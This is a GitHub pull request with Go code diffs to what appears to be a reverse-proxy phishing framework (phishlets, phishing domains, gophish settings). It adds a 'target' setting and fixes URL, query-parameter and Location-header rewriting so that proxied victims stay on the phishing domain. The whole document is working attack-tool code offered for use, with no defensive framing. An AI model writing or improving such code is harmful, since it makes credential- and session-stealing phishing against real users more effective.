Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Modify patchUrls to fix domain replacement bug #1112

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 12 additions & 0 deletions core/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -74,6 +74,7 @@ type GeneralConfig struct {
HttpsPort int `mapstructure:"https_port" json:"https_port" yaml:"https_port"`
DnsPort int `mapstructure:"dns_port" json:"dns_port" yaml:"dns_port"`
Autocert bool `mapstructure:"autocert" json:"autocert" yaml:"autocert"`
Target string `mapstructure:"target" json:"target" yaml:"target"`
}

type Config struct {
Expand Down Expand Up @@ -496,6 +497,17 @@ func (c *Config) EnableAutocert(enabled bool) {
c.cfg.WriteConfig()
}

func (c *Config) SetTarget(target string) {
c.general.Target = target
c.cfg.Set(CFG_GENERAL, c.general)
log.Info("target set to: %s", target)
c.cfg.WriteConfig()
}

func (c *Config) GetTarget() string {
return c.general.Target
}

func (c *Config) refreshActiveHostnames() {
c.activeHostnames = []string{}
sites := c.GetEnabledSites()
Expand Down
70 changes: 58 additions & 12 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -647,6 +647,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if len(qs) > 0 {
for gp := range qs {
for i, v := range qs[gp] {
v = p.replacePhishingDomainInValue(v)
qs[gp][i] = string(p.patchUrls(pl, []byte(v), CONVERT_TO_ORIGINAL_URLS))
}
}
Expand Down Expand Up @@ -935,10 +936,15 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
// if "Location" header is present, make sure to redirect to the phishing domain
r_url, err := resp.Location()
if err == nil {
if r_host, ok := p.replaceHostWithPhished(r_url.Host); ok {
r_url.Host = r_host
resp.Header.Set("Location", r_url.String())
}
// log.Debug("Original Location header: %s", r_url.String())
if r_host, ok := p.replaceHostWithPhished(r_url.Host); ok {
r_url.Host = r_host
new_location := r_url.String()
resp.Header.Set("Location", new_location)
// log.Info("Updated Location header: %s", new_location)
} else {
log.Warning("Failed to replace host in Location header: %s", r_url.String())
}
}

// fix cookies
Expand Down Expand Up @@ -1508,17 +1514,35 @@ func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) []byte {
if err == nil {
for _, h := range hosts {
if strings.ToLower(u.Host) == h {
s_url = strings.Replace(s_url, u.Host, sub_map[h], 1)
u.Host = sub_map[h]
break
}
}
// Check and replace in query parameters
q := u.Query()
for key, values := range q {
for _, value := range values {
decodedValue, err := url.QueryUnescape(value)
if err == nil {
for _, h := range hosts {
if strings.Contains(decodedValue, h) {
decodedValue = strings.Replace(decodedValue, h, sub_map[h], -1)
q.Set(key, url.QueryEscape(decodedValue))
break
}
}
}
}
}
u.RawQuery = q.Encode()
}
return s_url
return u.String()
}))

body = []byte(re_ns_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
for _, h := range hosts {
if strings.Contains(s_url, h) && !strings.Contains(s_url, sub_map[h]) {
s_url = strings.Replace(s_url, h, sub_map[h], 1)
s_url = strings.Replace(s_url, h, sub_map[h], -1)
break
}
}
Expand Down Expand Up @@ -1729,18 +1753,33 @@ func (p *HttpProxy) replaceHostWithPhished(hostname string) (string, bool) {
prefix = "."
hostname = hostname[1:]
}

host, port, err := net.SplitHostPort(hostname)
if err != nil {
host = hostname
port = ""
}

for site, pl := range p.cfg.phishlets {
if p.cfg.IsSiteEnabled(site) {
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if !ok {
continue
}
for _, ph := range pl.proxyHosts {
if hostname == combineHost(ph.orig_subdomain, ph.domain) {
return prefix + combineHost(ph.phish_subdomain, phishDomain), true
if host == combineHost(ph.orig_subdomain, ph.domain) {
phishedHost := combineHost(ph.phish_subdomain, phishDomain)
if port != "" {
phishedHost = net.JoinHostPort(phishedHost, port)
}
return prefix + phishedHost, true
}
if hostname == ph.domain {
return prefix + phishDomain, true
if host == ph.domain {
phishedHost := phishDomain
if port != "" {
phishedHost = net.JoinHostPort(phishedHost, port)
}
return prefix + phishedHost, true
}
}
}
Expand Down Expand Up @@ -1966,7 +2005,7 @@ func (dumb dumbResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
func orPanic(err error) {
if err != nil {
panic(err)
}
}
}

func getContentType(path string, data []byte) string {
Expand All @@ -1987,3 +2026,10 @@ func getSessionCookieName(pl_name string, cookie_name string) string {
s_hash = s_hash[:4] + "-" + s_hash[4:]
return s_hash
}

func (p *HttpProxy) replacePhishingDomainInValue(value string) string {
if p.cfg.general.Domain != "" && p.cfg.general.Target != "" {
return strings.Replace(value, p.cfg.general.Domain, p.cfg.general.Target, -1)
}
return value
}
7 changes: 5 additions & 2 deletions core/terminal.go
Original file line number Diff line number Diff line change
Expand Up @@ -192,8 +192,8 @@ func (t *Terminal) handleConfig(args []string) error {
gophishInsecure = "true"
}

keys := []string{"domain", "external_ipv4", "bind_ipv4", "https_port", "dns_port", "unauth_url", "autocert", "gophish admin_url", "gophish api_key", "gophish insecure"}
vals := []string{t.cfg.general.Domain, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.UnauthUrl, autocertOnOff, t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), gophishInsecure}
keys := []string{"domain", "target", "external_ipv4", "bind_ipv4", "https_port", "dns_port", "unauth_url", "autocert", "gophish admin_url", "gophish api_key", "gophish insecure"}
vals := []string{t.cfg.general.Domain, t.cfg.general.Target, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.UnauthUrl, autocertOnOff, t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), gophishInsecure}
log.Printf("\n%s\n", AsRows(keys, vals))
return nil
} else if pn == 2 {
Expand All @@ -203,6 +203,9 @@ func (t *Terminal) handleConfig(args []string) error {
t.cfg.ResetAllSites()
t.manageCertificates(false)
return nil
case "target":
t.cfg.SetTarget(args[1])
return nil
case "ipv4":
t.cfg.SetServerExternalIP(args[1])
return nil
Expand Down